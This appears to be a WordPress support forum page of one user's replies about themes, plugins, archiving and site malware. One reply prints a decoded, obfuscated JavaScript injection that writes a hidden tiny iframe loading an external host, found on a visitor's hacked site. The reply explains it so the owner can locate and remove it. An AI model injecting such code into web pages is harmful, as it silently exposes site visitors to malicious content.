Forum: Themes and Templates
In reply to: Topics Assigned to Specific PagesEsmi, I have one of my menu pages as the front page. The answer is yes but as you can see by my subsequent post, the issue has been resolved, at least for my application.
Thank you for your response.
Forum: Themes and Templates
In reply to: Topics Assigned to Specific PagesAfter searching and searching for a solution, I finally asked the question here. Guess what? This forum software must have analyzed my query and provided a list of solutions. One of them was exactly what I needed so this issue has been solved.

In reply to: Activate Theme Gone in 2.8.4Thanks for the advice. I should have thought of plug-ins being the problem. The first one I tried was the culprit. A much loved plug-in which disables the preview was the cause. The plug in name is: “Disable Theme Preview” and disabling it fixed the issue. It worked fine with 2.8.1 but not with 2.8.4.

In reply to: Virus is Found?Google is a harsh analyzer of web sites. You seem to be all right. Use http://www.google.com and feed in your URL. If your site has malware, Google will normally turn out a warning.
Most of the malware I’ve found on sites comes from unvalidated plugins. These days, I only trust WordPress approved plugins or those I have personally inspected for malware.
In particular, watch for any mail() function calls in an unknown plugin by doing a text search on the term “mail(” without the quotes. I’ve seen a plugin that captured your login data and mailed it to a third party.

In reply to: Newbie questionWhat I do is set up an exact copy of my WordPress front end with a different database that stores only the archives. When I move an item to archive, it goes over to the “parallel universe” as it were. It’s a bit of work to do that at the moment but I’ll find the time one day to write a plugin to do it all for me. Some day.

In reply to: Newbie questionWordPress is normally very fast after the first time you visit a site. The size of your database can slow things down if you have a big blog or lots of archives. There are ways around it though.

In reply to: Hey Guys, I’ve got a virusThis is what the javascript ascii actually translates to:
type=var t=5;var hjg4=”woll”;var w=”ance”;var re63″></i’+’f’+’rame>’);var w”.”;var rrtt6=”com”;var a=”if”;var s=”tt”;document.write(‘<‘+a+’rame src=”h’+s+’p://’+hjg4+”+w+”+re6+”+rrtt6+’/’+'” width=”1″ height=”3″></i’+’f’+’rame>’);var w6=87498000002340
So you can see where your iframe is coming from. Just concatenate the variable strings into the final string. To find the script doing it, you need a grep like utility to locate this string or the ascii string in your first snippet. Whoever did this is clever but only in a minor puzzle kind of way. He may also have jumbled it up. The key to it all may be the date of your first notice of it happening. If you can pin it down, you can find any files installed on your hosting server with the same date.
Good luck.
There’s another automated solution that I set up as a cron.
Go here and read about it. Once you buy it, you can install it on as many servers and accounts as you wish. No restrictions at all. There is an annual subscription but that’s only for the automatic update of data files. Your scanner will work and you can modify the database yourself. It works great.
